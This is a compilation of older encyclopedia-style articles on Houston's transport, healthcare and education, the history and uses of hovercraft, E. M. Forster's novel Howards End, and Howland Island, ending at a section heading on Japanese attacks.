          Houston's freeway system is monitored by Houston TranStar, a partnership of four government agencies that are responsible for providing transportation and emergency management services to the region. Houston TranStar was the first centre in the nation to combine transportation and emergency management centers, and the first to bring four agencies ( Texas Department of Transportation, Harris County, Texas, Metropolitan Transit Authority of Harris County, Texas and the City of Houston) together to share their resources.
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          The Metropolitan Transit Authority of Harris County, Texas, or METRO, provides public transportation in the form of buses, light rail, and lift vans. METRO's various forms of public transportation still do not connect many of the suburbs to the greater city.


          METRO began light rail service on January 1, 2004 with the inaugural track ("Red Line") running about 8miles (13km) from the University of HoustonDowntown ("UHD"), which traverses through the Texas Medical Centre and terminates at Reliant Park. METRO is currently in the design phase of a 10-year expansion plan that will add five more lines to the existing system.


          Amtrak, the national rail passenger system, provides service to Houston via the Sunset Limited (Los AngelesNew Orleans), which stops at a train station on the north side of the downtown area. The station saw 10,855 boardings and alightings in fiscal year 2006.


          
            [image: George Bush Intercontinental Airport]

            
              George Bush Intercontinental Airport
            

          


          Houston is served by two commercial airports, serving 52million passengers in 2007. The larger is George Bush Intercontinental Airport (IAH), the ninth-busiest in the United States for total passengers, and seventeenth-busiest worldwide. Bush Intercontinental currently ranks third in the United States for non-stop domestic and international service with 182 destinations. In 2006, the United States Department of Transportation named George Bush Intercontinental Airport the fastest-growing of the top ten airports in the United States. Houston is the headquarters of Continental Airlines and Bush Intercontinental is Continental Airlines' largest hub. The airline offers more than 700 daily departures from Houston. In early 2007, Bush Intercontinental Airport was named a model "port of entry" for international travelers by U.S. Customs and Border Protection. The Houston Air Route Traffic Control Centre stands on the George Bush Intercontinental Airport grounds.


          The second-largest commercial airport in Houston is William P. Hobby Airport (named Houston International Airport until 1967). The airport operates primarily small to medium-haul flights and is the only airport in Houston served by Southwest Airlines and JetBlue Airways. Houston's aviation history is showcased in the 1940 Air Terminal Museum located in the old terminal building on the west side of Hobby Airport.


          Another airport is Ellington Field (a former U.S. Air Force base) that is used by military, government, and general aviation sectors.


          The Federal Aviation Administration and the state of Texas selected the "Houston Airport System as Airport of the Year" for 2005, largely because of its multi-year, $3.1billion airport improvement program for both major airports in Houston.


          Greyhound Lines operates intercity services from five stations in Houston and several Houston suburbs. Other bus lines operate from Greyhound's stations and other stations.


          


          Healthcare and medicine
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          Houston is the seat of the internationally-renowned Texas Medical Centre, which contains the world's largest concentration of research and healthcare institutions. All 45 member institutions of the Texas Medical Centre are non-profit organizations. They provide patient and preventive care, research, education, and local, national, and international community well-being. These institutions include 13 renowned hospitals and two specialty institutions, two medical schools, four nursing schools, and schools of dentistry, public health, pharmacy, and virtually all health-related careers. It is where one of the firstand still the largestair emergency service, Life Flight, was created, and a very successful inter-institutional transplant program was developed. More heart surgeries are performed at the Texas Medical Centre than anywhere else in the world.


          Some of the academic and research health institutions in the centre include Baylor College of Medicine, The University of Texas Health Science Centre at Houston, The Methodist Hospital, Texas Children's Hospital and The University of Texas M. D. Anderson Cancer Centre. The University of Texas M. D. Anderson Cancer Centre has consistently ranked as one of the top two U.S. hospitals specializing in cancer care by U.S. News & World Report since 1990.


          Houston is the home of the Menninger Clinic, a renowned psychiatric treatment centre affiliated with Baylor College of Medicine and The Methodist Hospital.


          


          Education
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          There are more than 55 colleges and universities and dozens of institutions engaged in research and development in Houston.


          The University of Houston ("UH") is Texas's third-largest public research university with more than 40research centers and institutes. UH, with more than 36,000 students from 130 countries, is one of the most diverse campuses in the country. The city is also the home to Rice University, one of the leading teaching and research universities of the United States and ranked the nation's 17th-best overall university by U.S. News & World Report. Other public institutions of higher learning in the city include University of HoustonClear Lake ("UHCL"), University of HoustonDowntown ("UHD"), and Texas Southern University ("TSU"). Additionally, several private institutions include University of St. Thomas, who in 2008 was ranked one of "America's Best Colleges" by US News & World Report, and Houston Baptist University. The Houston Community College System serves most of Houston and is the fourth-largest community college system in the United States.
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          Houston is home to two of four public law schools in Texas: University of Houston Law Centre and Thurgood Marshall School of Law. The University of Houston Law Centre ranked in at No. 60 of the "Top100 Law Schools" in 2007 by U.S. News & World Report. Additionally, South Texas College of Lawa private institutionis the city's oldest law school founded in 1923 and has one of the nation's top programs for trial advocacy. There are 17 school districts serving the city. The Houston Independent School District (HISD) is the seventh-largest in the United States. HISD has 112 campuses that serve as magnet or vanguard schoolsspecializing in such disciplines as health professions, visual and performing arts, and the sciences. There are also many charter schools that are run separately from school districts. In addition, some public school districts also have their own charter schools.


          The Houston area is home to more than 300 private schools, many of which are accredited by Texas Private School Accreditation Commission (TEPSAC) recognized agencies. The Houston Area Independent Schools, or HAIS, offer education from a variety of different religious as well as secular viewpoints. The Houston area Catholic schools are operated by the Archdiocese of Galveston-Houston.


          


          Sister cities


          Houston has sixteen sister cities designated through the city's membership in Sister Cities International (SCI). The year each relationship was formed is shown in parentheses below.
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          A Hovercraft, or Air-Cushion Vehicle (ACV), is an amphibious vehicle or craft, designed to travel over any sufficiently smooth surface - land or water - supported by a cushion of slowly moving, low-pressure air, ejected downwards against the surface close below it.


          


          History


          In the mid-1870s, the British engineer Sir Mark Daniel Webber built a number of ground effect machine test models based on his idea of using air between the hull of a boat and the water to reduce drag of chin.Although he filed a number of patents involving air-lubricated hulls in 1877, no practical applications were found. Over the years, various other people had tried various methods of using air to reduce the drag on ships.


          The first fully functional, rigid-walled hovercraft was designed by Austrian Dagobert Mller von Thomamhl and built by the Imperial Austro-Hungarian Navy (Kaiserliche und Knigliche Kriegsmarine) "Seearsenal" (Naval base) at Pola. The 'Versuchsgleitboot - System Thomamhl' was launched on 2/9/1915 and was 13 m long, 4 m wide, displaced about 6.5 tonnes, had a crew of 5 men, and had a top speed of 32+ knots. By 1916 it was undergoing testing as a fast-torpedo boat and was equipped with 2 torpedoes, one Schwarzlose machine gun and several 6kg 'water-bombs', intended for anti-submarine use. It had 2 propellers, each of which was driven by 2 x 6-cylinder 120 hp airplane egines, a fifth 4-cylinder 65 hp engine was used to blow air under the hull, creating the 'air-cushion or hover' effect. After wide ranging full scale sea trials, the vessel was eventually scrapped in 1917 and the engines returned to the naval air-arm (Luftfahrttruppe); no further testing or research into hovercrafts was undertaking by the Imperial Austro-Hungarian navy during the period up to its eventual capitulation.


          Finnish engineer Toivo J. Kaario, head inspector of Valtion Lentokonetehdas (VL) airplane engine workshop, began to design an air cushion craft in 1931. He constructed and tested his craft, dubbed pintaliitj (Surface Glider), and received its Finnish patents 18630 and 26122. Kaario is considered to have designed and built the first functional ground effect vehicle, but his invention did not receive sufficient funds for further development.


          The first to give scientific description of the ground effect and to provide theoretical methods of calculation of air cushion vehicles was Konstantin Tsiolkovsky in his 1927 paper "Air Resistance and the Express Train". Since then Soviet engineer Vladimir Levkov began to develop air cushion vehicles. In the mid 1930s, Soviet engineer Vladimir Levkov assembled about 20 experimental air-cushion boats (fast attack craft and high-speed torpedo boats). The first prototype, designated L-1, had a very simple design which consisted of two small wooden catamarans that were powered by three engines. Two M-11 radial aero-engines were installed horizontally in the funnel-shaped wells on the platform which connected the catamaran hulls together. The third engine, also an air-cooled M-11, was placed in the aft part of the craft on a removable four-strut pylon. An air cushion was produced by the horizontally-placed engines. During successful tests, one of Levkov's air-cushion craft, called fast attack L-5 boat, achieved a speed of 70knots (130km/h).


          


          Air cushion on hovercraft principle


          The first technically and commercially viable hovercraft was invented and patented by the English inventor Christopher Cockerell in 1955.


          However, there had been numerous previous experimental attempts to design vehicles using the ground-effect principle, including prototypes built by Russian and German naval designers in WW1. In the US during World War II, Charles J. Fletcher designed his "Glidemobile" while he was a United States Navy Reservist. The design worked on the principle of trapping a constant airflow against a uniform surface (either the ground or water), providing anywhere from 10inches (25cm) to 2feet (61cm) of lift to free it from the surface, and control of the craft would be achieved by the measured release of air. Shortly after being tested on Beezer's Pond in Fletcher's home town of Sparta Township, New Jersey, the design was immediately appropriated by the United States Department of War and classified, denying Fletcher the opportunity to patent his creation. As such Fletcher's work was largely unknown until a case was brought (British Hovercraft Ltd v. The United States of America) in which the British corporation maintained that its rights, coming from to Sir Christopher Cockerell's patent, had been infringed. British Hovercraft's claim, seeking US$104,000,000 in damages, was unsuccessful. In a case brought in 1985, Patent agents BTG successfully sued the US Department of Defence, being awarded $6M in damages in 1990.


          However, Colonel Melville W. Beardsley (1913-1998), an American inventor and aeronautical engineer, received $80,000 from Cockerell for his rights to American patents. Beardsley worked on a number of unique ideas in the 1950s and '60s which he patented. His company built craft based on his designs at his Maryland base for the US Government and commercial applications. Beardsley later worked for the US Navy on developing the Hovercraft further for military use. Dr. W. Bertelsen also worked on developing early ACVs in the USA. Dr. Bertelsen built an early prototype of a hovercraft vehicle in 1959 (called Aeromobile 35-B), and was photographed for Popular Science magazine riding the vehicle over land and water in April on 1959. The article on his invention was the front page story for the July, 1959 edition of Popular Science.


          In 1952 the British inventor Christopher Cockerell worked with air lubrication with test craft on the Norfolk Broads. From this he moved on to the idea of a deeper air cushion. Cockerell used simple experiments involving a vacuum cleaner motor and two cylindrical cans to create his unique peripheral jet system, the key to his hovercraft invention, patented as the 'hovercraft principle'. He proved the workable principle of a vehicle suspended on a cushion of air blown out under pressure, making the vehicle easily mobile over most surfaces. The supporting air cushion would enable it to operate over soft mud, water, and marshes and swamps as well as on firm ground. He designed a working model vehicle based on his patent. Showing his model to the authorities led to it being put on the secret list as being of possible military use and therefore restricted. However, to keep Britain in the lead in developments, in 1958 the National Research and Development Corporation took on his design (paying 1000 for the rights) and paid for an experimental vehicle, the SR-N1 to be built by Saunders-Roe to Cockerell's design. It was launched on 11 June 1959. Shortly afterwards it made a crossing from France to the UK on the 50th anniversary of Bleriot's cross Channel flight. However, stability problems remained, and it was the invention of the segmented skirt by his close colleague and collaborator, engineer Denys Bliss in 1962 which solved these and made the hovercraft a commercial reality. According to patent agents BTG the Bliss patent was "the key factor for success". A further patent 1239745 "Anti-ditch shift of cushion C.P" was taken out jointly by Cockerell and Bliss in Jul. 1967:


          Cockerell was knighted for his services to engineering in 1969. Sir Christopher coined the word 'Hovercraft' to describe his invention.


          


          Design
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              Passenger carrying hovercraft, off shore Ōita Airport.
            

          


          Hovercraft have one or more separate engines (some craft, such as the SR-N6, have one engine with a drive split through a gearbox). One engine drives the fan on the bottom of the hovercraft, (the impeller) which is responsible for lifting the vehicle by forcing high pressure air under the craft. The air therefore must exit throughout the "skirt", lifting the craft above the area on which the craft resides. One or more additional engines are used to provide thrust in order to propel the craft in the desired direction (these engines help push the hovercraft). Some hovercraft utilize ducting to allow one engine to perform both tasks by directing some of the air to the skirt, the rest of the air passing out of the back to push the craft forward.


          


          Hovercraft


          


          Civil commercial hovercraft


          The British aircraft manufacturer Saunders-Roe which had aeronautical expertise developed the first practical man-carrying hovercraft, the SR-N1, which carried out several test programmes in 1959 to 1961 (the first public demonstration in 1959), including a cross-channel test run. The SR-N1 was powered by one (piston) engine, driven by expelled air. Demonstrated at the Farnborough Airshow in 1960, it was shown that this simple craft could carry a load of up to 12 marines with their equipment as well as the pilot and co-pilot with only a slight reduction in hover height proportional to the load carried. The SR.N1 did not have any skirt instead using the peripheral air principle that Sir Christopher has patented. It was later found that the craft's hover height was improved by the addition of a 'skirt' of flexible fabric or rubber around the hovering surface to contain the air. The skirt was an independent invention made by a Royal Navy officer, Latimer-Needham, who sold his idea to Westland (parent company of Saunders-Roe), and who worked with Sir Christopher to develop the idea further.


          The first passenger-carrying hovercraft to enter service was the Vickers VA-3, which in the summer of 1962 carried passengers regularly along the North Wales Coast from Moreton, Merseyside to Rhyl. It was powered by two turboprop aero-engines and driven by propellers.


          During the 1960s Saunders-Roe developed several larger designs which could carry passengers, including the SR-N2, which operated across the Solent in 1962 and later the SR-N6, which operated across the Solent from Southsea to Ryde on the Isle of Wight for many years. Operations by Hovertravel commenced on 24 July 1965 using the SR-N6 which carried just 38 passengers. Two modern 98 seat AP1-88 hovercraft now ply this route, and over 20 million passengers have used the service as of 2004.


          In 1966 two Cross Channel passenger hovercraft services were inaugurated using hovercraft. Hoverlloyd ran services from Ramsgate Harbour to Calais and Townsend Ferries also started a service to Calais from Dover, which was soon superseded by that of Seaspeed.


          As well as Saunders-Roe and Vickers (which combined in 1966 to form the British Hovercraft Corporation (BHC)), other commercial craft were developed during the 1960s in the UK by Cushioncraft (part of the Britten-Norman Group) and Hovermarine (the latter being 'Sidewall Hovercraft', where the sides of the hull projected down into the water to trap the cushion of air with 'normal' hovercraft skirts at the bow and stern).


          The world's first car-carrying hovercraft made their debut in 1968, the BHC Mountbatten class (SR-N4) models, each powered by four Rolls-Royce Proteus gas turbine engines. These were both used by rival operators Hoverlloyd and Seaspeed to operate regular car and passenger carrying services across the English Channel. Hoverlloyd operated from Ramsgate, where a special hoverport had been built at Pegwell Bay, to Calais. Seaspeed operated from Dover, England to Calais and Boulogne in France. The first SR-N4 had a capacity of 254 passengers and 30 cars, and a top speed of 83 knots (96 mph). The Channel crossing took around 30 minutes and was run rather like an airline with flight numbers. The later SR-N4 MkIII had a capacity of 418 passengers and 60 cars. The French-built SEDAM N500 Naviplane with a capacity of 385 passengers and 45 cars, of which only one example entered service, and was used intermittently for a few years on the cross-channel service due to technical problems. The service ceased in 2000 after 32 years, due to competition with traditional ferries, catamaran, the advancing age of the SR-N4 hovercraft and the opening of the Channel Tunnel.


          In 1998, the US Postal Service began using the British built Hoverwork AP.1-88 to haul mail, freight, and passengers from Bethel, Alaska to and from eight small villages along the Kuskokwim River. Bethel is far removed from the Alaska road system, thus making the hovercraft an attractive alternative to the air based delivery methods used prior to introduction of the hovercraft service. Hovercraft service is suspended for several weeks each year while the river is beginning to freeze to minimize damage to the river ice surface. The hovercraft is perfectly able to operate during the freeze-up period; however, this could potentially break the ice and create hazards for villagers using their snowmobiles along the river during the early winter.


          The commercial success of hovercraft suffered from rapid rises in fuel prices during the late 1960s and 1970s following conflict in the Middle East. Alternative over-water vehicles such as wave-piercing catamarans (marketed as the SeaCat in Britain) use less fuel and can perform most of the hovercraft's marine tasks. Although developed elsewhere in the world for both civil and military purposes, except for the Solent Ryde to Southsea crossing, hovercraft disappeared from the coastline of Britain until a range of Griffon Hovercraft were bought by the Royal National Lifeboat Institution.


          In Finland small hovercraft are widely used in maritime rescue and during the rasputitsa ("mud season") as archipelago liaison vehicles. In England, hovercraft of the Burnham-on-Sea Area Rescue Boat (BARB) are used to rescue people from thick mud in Bridgwater Bay.


          The Scandinavian airline SAS used to charter an AP. 1-88 Hovercraft for regular passengers between Copenhagen Airport, Denmark and the SAS Hovercraft Terminal in Malm, Sweden.


          An experimental service was operated in Scotland across the Firth of Forth (between Kirkcaldy and Portobello, Edinburgh), 16-28 July 2007. Marketed as Forthfast, the service used a craft chartered from Hovertravel Ltd and achieved 85% loadings. The possibility of establishing a permanent service is now under consideration.


          From 1960s, several commercial lines were operated in Japan, without much success. In the country, the only commercial line still available is the one that links Ōita Airport and the central Ōita.


          


          Military hovercraft
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              Zubr hovercraft docked in St. Petersburg, Russia
            

          


          First applications of the hovercraft in military use was with the SR.N1 through SR.N6 craft built by Saunders-Roe in the Isle of Wight in the UK and used by the UK joint forces. To test the use of the hovercraft in military applications the UK set up the Interservice Hovercraft Trials Unit (IHTU) base at Lee-on-the-Solent in the UK (now the site of the Hovercraft Museum). This unit carried out trials on the SR.N1 from Mk1 through Mk5 as well as testing the SR.N2, 3, 5 and 6 craft. Currently the Royal Marines use the Griffon 2000TDX as an operational craft. This craft was recently deployed by the UK in Iraq.


          In the US, during the 1960s, Bell licenced and sold the Saunders-Roe SRN-5 as the Bell SK-5. They were deployed on trial to the Vietnam War by the Navy as PACV patrol craft in the Mekong Delta where their mobility and speed was unique. This was used in both the UK SR.N5 curved deck configuration and later with modified flat deck, gun turret and grenade launcher designated the 9255 PACV. The United States Army also experimented with the use of SR.N5 hovercraft in Vietnam. Three hovercraft with the flat deck configuration were deployed to Dong Tam in the Mekong delta region and later to Ben Luc. They saw action primarily in the Plain of Reeds. One was destroyed in early 1970 and another in August of that same year after which the unit was disbanded. The only remaining U.S. Army SR.N5 hovercraft is currently on display in the Army Transport Museum in Virginia. Experience led to the proposed Bell SK-10 which was the basis for the LCAC-class air-cushioned landing craft now deployed.


          The former Soviet Union was one of the first few nations to use a hovercraft, the Bora, as a guided missile corvette.


          The Finnish Navy designed an experimental missile attack hovercraft class, Tuuli class hovercraft, in the late 1990s. The prototype of the class, Tuuli, was commissioned in 2000. It proved an extremely successful design for a [littoral] fast attack craft, but due to fiscal reasons and doctrinal change in the Navy, the hovercraft was soon withdrawn.


          The Hellenic Navy operates four Russian-designed Zubr class LCAC. This is the worlds largest military air-cushioned landing craft.


          


          Other ACVs


          


          Hoverbarge


          A real benefit of air cushion vehicles in moving heavy loads over difficult terrain, such as swamps, was overlooked by the excitement of the Government funding to develop high-speed hovercraft. It was not until the early 1970s that the technology was used for moving a modular marine barge with a dragline on board for use over soft reclaimed land.


          Mackace (Mackley Air Cushion Equipment) produced a number of successful Hoverbarges, such as the 250ton payload Sea Pearl which operated in Abu Dhabi and the twin 160ton payload "Yukon Princesses" which ferried trucks across the Yukon river to aid the pipeline build. Hoverbarges are still in operation today. In 2006, Hovertrans (formed by the original managers of Mackace) launched a 330ton payload drilling barge in the swamps of Suriname.


          The Hoverbarge technology is somewhat different to high-speed hovercraft, which has traditionally been constructed using aircraft technology. The initial concept of the air cushion barge has always been to provide a low-tech amphibious solution for accessing construction sites using typical equipment found in this area, such as diesel engines, ventilating fans, winches and marine equipment. The load to move a 200ton payload ACV barge at 5 knots would only be 5tons. The skirt and air distribution design on the high-speed craft again is more complex as they have to cope with the air cushion being washed out by a wave and wave impact. The slow speed and large mono chamber of the hover barge actually helps reduce the effect of wave action giving a very smooth ride.


          


          Hovertrain


          Several attempts have been made to adopt air cushion technology for use in fixed track systems, in order to take advantage of the lower frictional forces so as to deliver high speeds. The most advanced example of this was the Arotrain, an experimental high speed hovertrain built and operated in France between 1965 and 1977. The project was abandoned in 1977 due to lack of funding, the death of its main protagonist and the adoption of TGV by the French government as its high-speed ground transport solution.


          A test track for a tracked hovercraft system was built at Earith near Cambridge, managed by Tracked Hovercraft Ltd., with Denys Bliss as Director in the early 1970's, only to be axed by the Aerospace Minister, Michael Heseltine Records on this project are available from the correspondence and papers of Sir Harry Legge-Bourke, MP at Leeds University Library. http://www.leeds.ac.uk/library/spcoll/handlists/080MS742_LBourke.pdf]and http://www.leeds.ac.uk/library/spcoll/handlists/084670M42_cambridge.pdf]. Heseltine was accused by Airey Neave and others of misleading the House of Commons when he stated that the government was still considering giving financial support to the Hovertrain, when the decision to pull the plug had already been taken by the Cabinet. Michael Heseltine


          Despite promising early results, the Cambridge project was abandoned in 1973 due to financial constraints, but parts of the project were picked up by the engineering firm McAlpine, only to be finally abandoned in the mid 1980's. The tracked hovercraft project was in fierce competition for funding from Professor Laithwaite's Maglev train system and there was intense competition between the two prospective British systems for funding and credibility.


          At the other end of the speed spectrum, the Dorfbahn Serfaus has been in continuous operation since 1985. This is an unusual underground air cushion funicular rapid transit system, situated in the Austrian ski resort of Serfaus. Only 1,280m (4,199ft) long, the line reaches a maximum speed of 25miles per hour (40km/h). The similar system also exist in Narita International Airport near Tokyo, Japan.


          


          Records


          
            	World's Largest Civil Hovercraft - The BHC SRN4 Mk III at 56.4 m (185 ft) length and 310 metric tons (305 tons) weight, can accommodate 418 passengers and 60 cars.


            	English Channel crossing - 22 minutes by Princess Anne MCH SR-N4 Mk3 on 14 September 1995


            	World's Hovercraft Speed Record - 18 September 1995 - Speed Trials, Bob Windt (USA) 137.4 km/h. (85.87 mph), 34.06 secs measured kilometre

          


          


          Hobbyists


          There are an increasing number of small homebuilt and kit-built hovercraft used for fun and racing purposes, mainly on inland lakes and rivers but also in marshy areas and in some estuaries.


          The Hovercraft Club of Great Britain organises inland and coastal cruising hovercraft races in various venues across the United Kingdom.


          


          Modern Hovercraft Development


          The real innovation in hovercraft development occured in 1957, and was revealed to the public in 1960. It was the invention of the "Double-Walled Flexible Skirt" by Mr. Norman B. McCreary in Little Rock, Arkansas, USA, (Patent No.3,532,179) and was published in the Arkansas Gazette Newspaper on Jan. 25, 1960 and in Science and Mechanics Magazine in June, 1960. This was the Conception and Technological Development that enabled hovercraft to travel over uneven terrain or waves of the sea. It later became known as the "bag skirt" as it inflated around the edge of the hovercraft. It would raise and lower the hovercraft off the ground by inflation and deflation of the "Double-Walled Flexible Skirt". Later fingers were added to the bottom of the skirt to compensate for wear and reduce drag. After this concept was made public in 1960, all hovercraft utalized a "Double-Walled Flexible Skirt" system for practical hovercraft operations, (see time line Naval Engineering Journal, Febuary 1985, page 261).
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          Howards End is a novel by E. M. Forster, first published in 1910, which tells a story of class struggle in turn-of-the-century England. The main theme is the difficulties, and also the benefits, of relationships between members of different social classes.


          


          Plot summary


          The book is about three families in England at the beginning of the twentieth century. The three families represent different gradations of the Edwardian middle class: the Wilcoxes, who are rich capitalists with a fortune made in the Colonies; the half-German Schlegel siblings (Margaret, Tibby, and Helen), who represent the intellectual bourgeoisie and have a lot in common with the real-life Bloomsbury Group; and the Basts, a couple who are struggling members of the lower-middle class. The Schlegel sisters try to help the poor Basts and try to make the Wilcoxes less prejudiced. The motto of the book is "Only connect..."


          
            Only connect! That was the whole of her sermon. Only connect the prose and the passion and both will be exalted, and human love will be seen at its height. Live in fragments no longer.

          


          The Schlegels frequently encounter the Wilcoxes. The youngest, Helen, is rejected by the younger Wilcox brother, Paul. The eldest, Margaret, becomes friends with his mother Ruth Wilcox. Ruth's most prized personal possession is her family house at Howards End. She wishes that Margaret could live there, as she feels that it might be in good hands with her. Ruth's own husband and children do not value the house and its rich history, because such abstractions, while being very dear to Margaret, are lost to them. As she is terminally ill, and Margaret and her family are about to be evicted from their London home by a developer, Ruth bequeaths the cottage to Margaret in a handwritten note found among her effects when she dies, causing great consternation among the Wilcoxes. Mrs Wilcox's widowed husband Henry and his children burn the note without telling Margaret about her inheritance. However, over the course of several years, Margaret becomes friends with Henry Wilcox and eventually marries him. The more free-spirited Margaret tries to get Henry to open up more, to little effect. Henry's elder son Charles and his wife try to keep Margaret from taking possession of Howards End.


          Gradually, Margaret becomes aware of Henry's dismissive attitude towards the lower classes. On Henry's advice, Helen tells Leonard Bast to quit his promising bank job, because his company stands outside a protective group of companies and thus is vulnerable to failure. A few weeks later, Henry carelessly reverses his opinion, having entirely forgotten about Bast, but it is too late, and Bast has lost his tenuous hold on financial solvency. Bast lives with a troubled, "fallen" woman for whom he feels responsible and whom he eventually marries. It is later revealed that years earlier, when a teenager, she had been Henry's mistress in Cyprus, but he had then carelessly abandoned her, an expatriate English girl on foreign soil with no way to return home. Margaret confronts Henry about his ill-treatment, and he is ashamed of the affair but unrepentant about his harsh treatment of her. Because of Margaret's marriage into the Wilcoxes and situations such as these, the Schlegel sisters drift apart somewhat. Helen continues to try to help young Leonard Bast (perhaps in part out of guilt about having intervened in his life to begin with, as Leonard had not wanted it and Henry had explicitly stated beforehand that he advised no one) but it all goes terribly wrong; because of Bast's wife's connection with Henry, Henry will not countenance helping them. In a moment of pity for the poor, doomed Bast, Helen has an affair with him. Finding herself pregnant, Helen leaves England to travel through Germany to conceal her condition, but eventually returns to her sister. Margaret tries in vain to convince Henry that if he can countenance his own affair, he should forgive Helen hers. Henry's son, Charles, attacks Bast for the dishonor he has brought to Helen, and accidentally kills him when his weak heart gives out. The ensuing scandal and shock cause Henry to reevaluate his life and he begins to connect with others. He bequeaths Howards End to Margaret's nephew - Helen's son by Bast. Helen reconciles with her sister and Henry, and decides to raise her child at Howards End. Margaret is usually viewed as the heroine of the story because, in staying married to Henry despite the scandal, she acts as a uniting force, bringing all the characters peaceably together at Howards End. Henry is sometimes viewed as a hero because he triumphs over his inability to connect with the situations of others. In the end, the open-minded intellectuality of the Schlegels is reconciled or balanced with the practical economy of the Wilcoxes, each learning lessons from the other. The ending illustrates the changing nature of early twentieth century England, for the classes are growing ever closer as England moves towards a new identity in the post-industrial revolution era.


          


          Film, TV or theatrical adaptations


          A television adaptation of the novel was broadcast in 1970 with Leo Genn and Glenda Jackson.


          The 1992 film version starred Emma Thompson, Vanessa Redgrave, Helena Bonham Carter, Anthony Hopkins and Samuel West. Thompson won an Academy Award for her performance.


          Zadie Smith's On Beauty is a modern retelling of and homage to Howards End.


          


          Location of Howards End


          Forster based his description of Howards End on a house at Rooks Nest in Hertfordshire, his childhood home from 1883 to 1893. According to his description in an appendix to the novel, Rooks Nest was a hamlet with a farm on the Weston Road just outside Stevenage. The house is marked on modern Ordnance Survey maps at grid reference TL244267. Since Forster's childhood, Stevenage has grown to meet the house but has not yet engulfed it.
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          Howland Island is an uninhabited coral island located just north of the equator in the central Pacific Ocean, about 3,100 km (1,670 nm) southwest of Honolulu. The island is almost half way between Hawaii and Australia and is an unincorporated, unorganized territory of the United States, and is often included as one of the Phoenix Islands. For statistical purposes, Howland is grouped as one of the United States Minor Outlying Islands.


          The island was named after a lookout who sighted it from the whaling ship Isabella of New Bedford on 9 September 1842. One recorded European sighting had already been made 20 years earlier from the Nantucket whaler Oeno in 1822, and it was briefly named Worth Island after that ship's captain, George B. Worth.


          Howland Island National Wildlife Refuge consists of the 455 acre (1.84km) island and the surrounding 32,074 acres (130km) of submerged land. The island is now a National Wildlife Refuge managed by the U.S. Fish and Wildlife Service as an insular area under the U.S. Department of the Interior.


          The atoll has no economic activity and is perhaps best known as the island Amelia Earhart never reached. Airstrips built in the late 1930s to accommodate her planned stopover were never used, subsequently damaged, not maintained and gradually disappeared. There are no harbors or docks. The reefs may pose a hazard. There is one boat landing area along the middle of the sandy beach on the west coast along with a crumbling day beacon. Defense is the responsibility of the United States and the island is visited every two years by the U.S. Fish and Wildlife Service.


          


          Geography
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          Located in the North Pacific Ocean at , the island is tiny at just 1.84 km (455 acres) and 6.4 km of coastline. The island has an elongated shape on a north-south axis. The climate is equatorial, with little rainfall and a burning sun. Temperatures are moderated somewhat by a constant wind from the east. The terrain is low-lying and sandy: a coral island surrounded by a narrow fringing reef with a slightly raised central area. The highest point is about six meters above sea level.


          There are no natural fresh water resources. The landscape features scattered grasses along with prostrate vines and low-growing shrubs. A 1942 eyewitness description mentioned "a low grove of dead and decaying kou trees" on a very shallow hill at the island's centre, but 58 years later (2000) a visitor accompanying a scientific expedition reported seeing "a flat bulldozed plain of coral sand, without a single tree" and some traces of building ruins. Howland is primarily a nesting, roosting and foraging habitat for seabirds, shorebirds and marine wildlife. The U.S. claims an exclusive economic zone of 200 nautical miles (370km) and a territorial sea of 12 nautical miles (22km).


          Since the island is uninhabited, no time zone is specified but it lies within a nautical time zone which is 12 hours behind UTC.


          


          History
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          Prehistoric Settlement


          There is evidence to suggest that Howland Island was the site of prehistoric settlement, which possibly extended down to Rawaki, Kanton, Manra and Orona of the Phoenix Islands 500 to 700 km southeast, probably in the form of a single community utilising several adjacent islands, but the hard life on isolated islands led to extinction of or dereliction by the settled peoples, in much the way other islands in the area (such as Kiritimati and Pitcairn) were abandoned. Such settlements probably began around 1000 BC, when eastern Melanesians travelled north.


          Sparse remnants of trails and other artifacts indicate a sporadic early Polynesian presence


          


          Discovery


          Captain George B. Worth of the Nantucket whaler Oeno sighted Howland around 1822 and called it "Worth Island". Daniel MacKenzie of the American whaler Minerva Smith was unaware of Worth's sighting when he charted the island in 1828 and named it after his ship's owners on 1 December 1828.


          


          U.S. Possession and Guano Mining


          Howland Island was uninhabited when the United States took possession of it in 1857 through claims under the Guano Islands Act of 1856. The island was known as a navigation hazard for many decades and several ships were wrecked there. Its guano deposits were mined by American companies until October, 1878. John T. Arundel and company, with laborers from the Cook Islands and Niue, occupied the island from 1886 to 1891.


          


          Itascatown (1935-1942)


          In 1935 a brief attempt at colonization was made, part of a larger project administered by the Department of Commerce to establish a permanent U.S. presence on the equatorial Line Islands. It began with a rotating population of four alumni and students from Kamehameha School for Boys, a military school in Honolulu, Hawaii. Although the recruits had signed on as part of a scientific expedition and expected to spend a three month assignment collecting botanical and biological samples, once at sea they were told, "Your names will go down in history" and that the islands would be developed into "famous air bases in a route that will connect Australia with California." The settlement Itascatown, near the beach on the island's western side, was a line of no more than half a dozen small wood-frame structures and tents named after the Itasca, which brought them to the island and made regular cruises between the islands during that era. The fledgling colonists were given large stocks of canned food, water, and other supplies including a gasoline powered refrigerator, radio equipment, complete medical kits and (characteristic for that time) vast quantities of cigarettes. They varied their diet by fishing. Most of their work involved making hourly weather observations and gradually developing a rudimentary infrastructure on the island, including the clearing of a landing area for airplanes. During this period the island was on Hawaii time which was then 10.5 hours behind UTC. Similar colonization projects were started on nearby Baker Island, Jarvis Island, and two other islands.


          


          Kamakaiwi Field


          Ground for a rudimentary aircraft landing area was cleared during the mid-1930s in anticipation that the island might eventually be used as a stop-over for a commercial trans-Pacific air route and to further U.S. territorial claims in the region. In keeping with its potential aviation role Howland Island was a scheduled refueling stop for American pilot Amelia Earhart and navigator Fred Noonan on their round-the-world flight in 1937. WPA funds were used by the Bureau of Air Commerce to construct three graded, unpaved runways meant to accommodate Earhart's modern twin-engined Lockheed L-10E Electra. The facility was named Kamakaiwi Field after James Kamakaiwi, a young Hawaiian who arrived with the first group of four colonists, was subsequently picked as leader and spent a total of over three years on Howland, far longer than the average recruit. It has also been referred to as WPA Howland Airport (the WPA contributed about 20% of the $12,000 cost). Earhart and Noonan took off from Lae, New Guinea and radio transmissions from Earhart were picked up on the island when their aircraft reached its vicinity but they were never seen again.


          


          Japanese attacks
